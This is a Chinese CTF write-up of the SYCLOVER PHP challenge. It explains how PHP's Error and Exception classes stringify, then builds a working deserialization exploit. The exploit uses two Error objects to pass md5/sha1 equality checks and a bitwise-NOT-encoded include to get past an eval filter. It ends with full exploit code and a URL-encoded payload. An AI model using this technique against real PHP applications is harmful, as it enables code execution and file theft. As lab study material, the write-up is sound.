<? ?>
相当于对<?php ?>
的替换。而<?= ?>
则是相当于<?php echo ... ?>
Exception 是所有异常的基类,该类是在PHP 5.0.0 中开始引入的
Exception {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
message:异常消息内容
code:异常代码
file:抛出异常的文件名
line:抛出异常在该文件中的行号
Exception::__construct — 异常构造函数
Exception::getMessage — 获取异常消息内容
Exception::getPrevious — 返回异常链中的前一个异常
Exception::getCode — 获取异常代码
Exception::getFile — 创建异常时的程序文件名称
Exception::getLine — 获取创建的异常所在文件中的行号
Exception::getTrace — 获取异常追踪信息
Exception::getTraceAsString — 获取字符串类型的异常追踪信息
Exception::__toString — 将异常对象转换为字符串
Exception::__clone — 异常克隆
可以看到Exception中存在__toString方法。我们尝试触发其方法
<?php
$a = new Exception("payload",1);
$b = new Exception("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;
返回的结果
可以看到payload作为异常信息被输出,Exception的行号也被输出,但是异常代码并未输出
所以当他们在一行时
<?php
$a = new Exception("payload",1);$b = new Exception("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;
因为echo,所以有了string,string内容相同,但是类本身因为code不同而不同
Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的。
Error implements Throwable {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
• message:错误消息内容
• code:错误代码
• file:抛出错误的文件名
• line:抛出错误在该文件中的行数
• Error::__construct — 初始化 error 对象
• Error::getMessage — 获取错误信息
• Error::getPrevious — 返回先前的 Throwable
• Error::getCode — 获取错误代码
• Error::getFile — 获取错误发生时的文件
• Error::getLine — 获取错误发生时的行号
• Error::getTrace — 获取调用栈(stack trace)
• Error::getTraceAsString — 获取字符串形式的调用栈(stack trace)
• Error::__toString — error 的字符串表达
• Error::__clone — 克隆 error
Error类也同样如此。本题将以Error类进行示范
题目代码
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
首先看到熟悉的php弱类型比较的考点
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )
但是因为下面有个eval,eval需要接收字符串。如果是数组则会报错,所以不能用数组来绕过。这里因为第一个是比较相等,用前面的知识点,Error内置类相等,md5
和sha1
时会转化为string类型,所以触发__toString
其次看到,eval的参数存在过滤。我们不能用()
,意味着我们只能用语句。并且不能eval(`whoami`)这样嵌套的操作 if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match))
只能包含读flag,利用include或require
如果我们用Error内置类,到eval
时,里面的参数如下
eval会将string的值作为参数的字符串进行解析。我们需要payload干净的执行,目前前面有”Error:”后面有一串
所以闭合
执行到eval时,eval相当于生成个新的php页面
成功闭合,然后执行了phpinfo();
我们的payload应该是?><? include “/flag”?>
但是”
被过滤
所以要用一些字符串的操作来绕过对引号的限制
考虑对/flag
取反(因为取反后再取反就回来了)
$in = ~("/flag");
$payload = "?><? include~".$in."?>";
最终形成exp
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __construct($b,$c){
$this->syc = $b;
$this->lover = $c;
}
$in = ~("/flag");
$payload = "?><?=include~".$in."?>";
$b = new error($payload,1);$c=new error($payload,2);
$a = new SYCLOVER($b,$c);
echo(urlencode(serialize($a)));
?>
生成O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A31%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cti%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A33%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A31%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cti%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A33%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D
得到flag
参考:
https://www.anquanke.com/post/id/238482#h2-5
本文作者:硝基苯
本文链接:https://www.c6sec.com/index.php/archives/605/
最后修改时间:2022-02-08 21:24:04
本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!